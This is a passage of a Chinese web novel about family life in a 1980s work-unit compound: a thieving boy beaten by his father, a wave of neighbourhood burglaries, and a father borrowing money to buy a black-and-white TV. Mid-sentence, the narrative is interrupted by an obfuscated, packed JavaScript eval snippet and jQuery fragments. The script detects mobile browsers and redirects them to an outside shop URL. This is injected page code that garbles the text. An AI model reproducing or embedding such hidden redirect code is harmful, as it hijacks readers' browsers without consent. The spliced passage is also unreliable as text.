在那个年代严打背景下，社会治安整体趋严。
那一年深秋的月光斜斜切进楼道，任浩楠趴在自家窗台上，又听见楼上铁门“哐当”摔响。
侯国庆的吼声像把生锈的锯子，在寂静的楼道里来回拉锯：“又偷！裤兜里的大白兔奶糖哪来的？说！”
玻璃震颤着，映出浩楠攥紧的拳头。
他数着墙纸上的裂纹，听着天花板传来沉闷的撞击声——那是铁衣架抽在皮肉上的闷响。
隔壁张婶曾偷偷说，楼上孩子他妈在乡下教书，侯国庆既要上班又要带娃，皮鞋底都磨穿了两双。
第二天清晨，浩楠在校门口撞见李东。
少年脖颈处的淤青在晨光下泛着诡异的青紫色，却还咧着嘴冲他晃悠铝制铅笔盒：“瞧瞧，英雄牌钢笔！”
盒盖开合时，浩楠瞥见里面躺着三颗水果糖，糖纸边缘还沾着半截断齿——那是前天供销社柜台被撬时，散落的玻璃碴划开的包装。
暮色降临时，浩楠故意绕到李东家门口。
铁门虚掩着，飘出焦糊的饭菜味。
侯国庆的收音机里正播着《法制园地》，声音盖不住少年倔强的顶嘴：“反正你眼里只有死去的奖状！我妈寄来的信你都藏哪了？”
“啪”地一声脆响，瓷碗碎裂的声音混着电流杂音，惊得楼道里的灯泡都晃了晃。
周末的集市人声鼎沸，浩楠在供销社糖果柜台前，看见李东把玻璃糖罐往货架边缘推了推。
少年的手背贴着创可贴，那是昨天挨打时被衣架挂钩刮破的。浩楠刚要开口，李**然抓起两颗高粱饴塞进他口袋：“拿着，别告诉大人。”
转身时，浩楠看见他后颈新添的抓痕，和侯国庆昨天系的皮带扣形状一模一样。
深夜，浩楠被砸门声惊醒。
透过猫眼，侯国庆举着铁衣架在楼道狂奔，嘴里喊着“小兔崽子别跑”。
月光下，李东单薄的身影掠过楼梯拐角，裤兜里掉出个花布钱包，正是上周百货商店被盗的失物。
浩楠弯腰捡起钱包时，摸到夹层里一张泛黄的照片——年轻的女人抱着蹒跚学步的孩子，背后是漫山遍野的油菜花。
楼上那有小偷小摸习惯的孩子，每次被发现后便遭受父亲毒打，可即便打得狠，也难以改掉他的恶**。
他父亲满脸愁苦与无奈，四处打听如何矫正孩子的行为。
周围邻居知晓后，也会议论纷纷，有的说该送去派出所让警察好好教育，有的则感叹这孩子怕是被当时一些不良风气带偏了。
而其他孩子听闻此事，有的会心生害怕，不敢再犯类似错误；有的则可能对那孩子充满好奇与不解，不明白为什么他总偷东西。
整个社区都因这孩子的事弥漫着一种沉重又有些惶惶的氛围，大人们更加注重对自家孩子品德的教育，生怕有什么差池。
那一年夏夜的蝉鸣在梧桐树上炸响，闸口巷的居民们抱着竹制的席子在家属大院里纳凉。
王婶摇着蒲扇，腕子上褪色的红头绳随着动作轻轻晃动：“我上个月刚攒的布票，锁在樟木箱里，一觉醒来全没了。“
她声音发颤，惊得石桌上的搪瓷缸里，凉茶泛起细密的涟漪。
世和跨坐在二八大杠自行车上，手指无意识地摩挲着车座下新换的U型锁。
路灯昏黄的光晕里，能看见他后衣领处缝补的针脚——那是去年抓小偷时，被对方扯破的。
巷口修鞋匠老张头突然压低声音：“百货公司仓库昨夜又遭了，听说是翻院墙进去的，墙上还留着带血的指纹。“
浩楠攥着书包带往家走，巷子里的阴影像活物般扭动。
路过五金店时，他看见店主正往铁门上加装第三道锁，铁链与铜锁碰撞发出清脆声响。
橱窗玻璃映出他身后模糊的人影，吓得他拔腿就跑，书包里的铝制饭盒撞得叮当作响。
深夜，阁楼的木板被踩得“吱呀“作响。世和猛地惊醒，抄起床头的手电筒冲出门。
月光下，三个黑影正围着他停在墙根的自行车，其中一人手里的钢锯条泛着冷光。
“抓小偷！“他的怒吼惊醒了整条巷子，二楼泼下的洗脚水浇在小偷头上，搪瓷盆的碎裂声混着叫骂声，惊飞了屋檐下的野猫。
次日清晨，菜市场挤满了议论纷纷的人群。卖豆腐的刘瘸子拍着摊位：“我那辆凤凰牌，锁在供销社门口，喝碗豆浆的功夫就没了！“
他卷起裤腿，露出新添的淤青，“追的时候摔的，眼睁睁看着那小子骑车拐进胡同，车铃还响得欢！“
街角修锁匠的生意突然火爆起来。
老师傅戴着老花镜，在煤油灯下打磨新配的钥匙，铁砧上堆着各式各样被撬坏的锁芯。
“这月换了三十七把锁，“他往手心啐了口唾沫，继续敲打，“可防得住明处的锁，防不住暗处的手啊。“
暮色再次降临时，闸口巷家家户户亮起灯。
有人在窗台上摆了碎玻璃，有人用铁丝加固了防盗网。
世和把自行车搬进堂屋，车轮碾过青砖地，在寂静的夜里发出沉重的回响。
月光透过窗棂洒进来，照在墙角那把锈迹斑斑的备用锁上，泛着冷寂的光。
在单位家属大院里，一台崭新的黑白电视机被郑重地安置在空旷的露天场地。
每天傍晚，夕阳的余晖还未散尽，职工们就像约好了似的，纷纷搬着小板凳，从四面八方汇聚而来。
当得知电视里即将播放审判“***”的新闻时，大家的神情既庄重又激动。老职工们挺直了腰板，目光中满是对公正审判的期待；年轻职工们则交头接耳，讨论着这一历史时刻的重大意义。
而当播放电视剧时，气氛瞬间变得轻松欢快起来。孩子们在人群缝隙里钻来钻去，嬉笑打闹，大人们则被剧中的情节深深吸引，时而捧腹大笑，时而陷入沉思。
那一方小小的黑白屏幕，散发着柔和的光，将人们紧紧凝聚在一起。在这个夜晚，国营单位的大院里弥漫着温馨与欢乐，电视机的声响和人们的欢声笑语交织在一起，仿佛是那个特殊年代里最动人的乐章，承载着职工们对新生活的向往与热爱，也见证着时代变迁中人们对文化与信息的渴望与追求。
后来，单位的电视机坏了，无法修好，也就中断了播放。浩楠怅然若失。没有什么好玩的，对电视节目的热爱无以复加。
在家属院里，最高的楼房也是三层楼，其余的就是职工宿舍，两层楼，大部分都是平房。
墙体是土夯成的，房顶上是机制瓦，院内的大树茂盛。以法国梧桐树居多。
家属院里条件较好的职工家中添置了一台黑白电视机，这成了全院瞩目的宝贝。每到傍晚，半边户且条件差些的职工家的孩子们，总会满心期待地聚到这户人家门口。
主人家心地善良，早早便会敞开门，欢迎孩子们进屋。
小小的客厅里，大家各找角落坐下，眼睛紧紧盯着那黑白屏幕。当电视里播放着精彩的节目，无论是扣人心弦的连续剧，还是热闹非凡的文艺表演，孩子们的脸上都洋溢着纯粹的快乐。他们会为剧中英雄的壮举欢呼，会被滑稽的角色逗得前仰后合。偶尔因为争抢离电视更近的位置而拌嘴，但转瞬又和好如初，继续沉浸在这难得的视听盛宴里。这段在别人家看电视的时光，成了孩子们记忆中最璀璨的珍珠，闪耀着那个时代独有的质朴与欢乐光芒，也编织着邻里间温暖而珍贵的情谊纽带。
世和看孩子都喜欢看电视，就想买一台。
以前就是听收音机。
买电视机可不是小事。世和也没这个预算，又想要面子，觉得自己虽然是城市户口，可是妻子和孩子都不是，成绩比双职工家庭的孩子好，那说明孩子争气，自己买不起电视机，是自己不争气。
他为了面子，为了不落后，不想让孩子去邻居家看电视，就去找世华和世平商量，看能不能赞助赞助，买一台电视机。
世华和世平来城里看望世和。
世和他们坐在院子里聊天。
他的城市户口仿佛在家庭的经济对比中失去了优势，妻子与孩子的农村身份也让家庭资源更为紧张。孩子优异的成绩是他心中的骄傲，可每每想到孩子总去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650039|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别人家蹭电视看，他的骄傲便被刺痛。
“弟，妹，你们也知道我家的情况，孩子学习好，可没个电视，老是跑去别人家看，我这心里不是滋味。咱都是一家人，你们能不能帮衬帮衬，凑点钱买台电视？”他的眼神里有一丝难为情，更多的是对孩子的疼爱与对家庭尊严的维护。
弟弟皱了皱眉，刚要开口，妹妹却先说道：“哥，不是我们不帮，只是这钱也不是大风刮来的，咱们都过得紧巴巴的。”
他的脸微微泛红，着急地解释：“我知道大家都不容易，可孩子每次去别人家，我怕人家嫌弃，孩子也觉得委屈。我就想着，咱努努力，让孩子能在自家舒舒服服地看电视。”
世平叹了口气：“哥，我们也想帮，可这也不是小数目啊。”
他的肩膀微微下沉，眼神却依然坚定：“我知道这是个大难题，可我实在不想孩子因为这个矮人一截。他们学习那么努力，我想给他们点不一样的。让他们有一个彩色的童年。毕竟孩子从小都在农村，吃了不少苦，想要通过买电视机让他们看上电视节目来弥补弥补一些遗憾。”
房间里陷入了短暂的沉默，只有墙上那台旧收音机发出轻微的沙沙声，仿佛在诉说着这个家庭的纠结与无奈。
世华和世平没有当场答应赞助买电视机的事，不过，第二天，世华和世平就把钱拿来了。世和万万没想到会这样。他很清楚，弟弟妹妹嘴上一套心里一套，还是很重视他这个哥哥的。毕竟从小就没了父亲。亲人不在，还健在的弟兄姐妹更为宝贵。
电视机买回来，家里像是过年一样热闹，邻居都过来看，把十四寸黑白电视机当成宝贝疙瘩。纷纷投来羡慕的眼光。
世和给孩子们立了规矩，在什么情况下可以看电视节目，在什么时间段看，看多长时间，都有明确的指引。如果违反，就要受罚。最残酷的惩罚就是周末不能看动画片。
“你怎么又在看《射雕英雄传》！作业都写完了吗？”世和皱着眉头，语气中满是责备。
浩怡眼睛盯着电视屏幕，头也不回地说：“我就看一会儿，看完这集再写。”
“不行！你天天就知道沉迷在这些电视剧里，学习成绩怎么能好？”世和提高了音量，伸手就要去关电视。
浩怡一下子跳起来，拦住世和的手，带着哭腔喊道：“不！我喜欢看，郭靖和黄蓉可厉害了，我就不能有点放松时间吗？”
世和生气地说道：“你现在是学习的时候，不是看这些乱七八糟的时候。你要是再这样不务正业，以后考不上好中学怎么办？”
浩怡倔强地顶嘴：“看个电视怎么就是不务正业了？别的同学也都看，就你老管着我！”
世和气得在屋里踱步：“我管你是为了你好，你看看你现在的成绩，再这样下去，以后有什么出息！”
浩怡泪水在眼眶里打转，大声吼道：“你根本就不懂我，我讨厌你！”说完，跑到院子里写作业，只留下父亲在那里无奈地叹气。
世和也知道，这些电视节目从来没见过，非常有吸引力，别说孩子喜欢，大人也喜欢。
每当夜幕降临，那个时代的大街小巷便渐渐安静下来。而此时，只要有电视机的地方，就仿佛被施了魔法一般，成为众人**的中心。
《射雕英雄传》的片头曲一响起，孩子们就像听到集结号，从四面八方飞奔回家，找到有电视机的家庭开始收看。
没有电视机的家庭的孩子，会找到那些家里有电视机的家里，这些家庭会把电视机放在门口播放，让那些家里没电视机的人一起来看。
小小的院子里，挤满了一颗颗仰着的小脑袋，眼睛里闪烁着兴奋与期待。
他们目不转睛地盯着那不大的屏幕，生怕错过任何一个画面。郭靖的憨厚正直、黄蓉的古灵精怪，还有洪七公的逍遥洒脱，都深深吸引着孩子们的心。
看到郭靖**得降龙十八掌时，孩子们会激动地欢呼雀跃，仿佛自己也拥有了绝世武功；而当剧中人物遭遇危险，他们又会紧张得大气都不敢出，小手紧紧攥成拳头。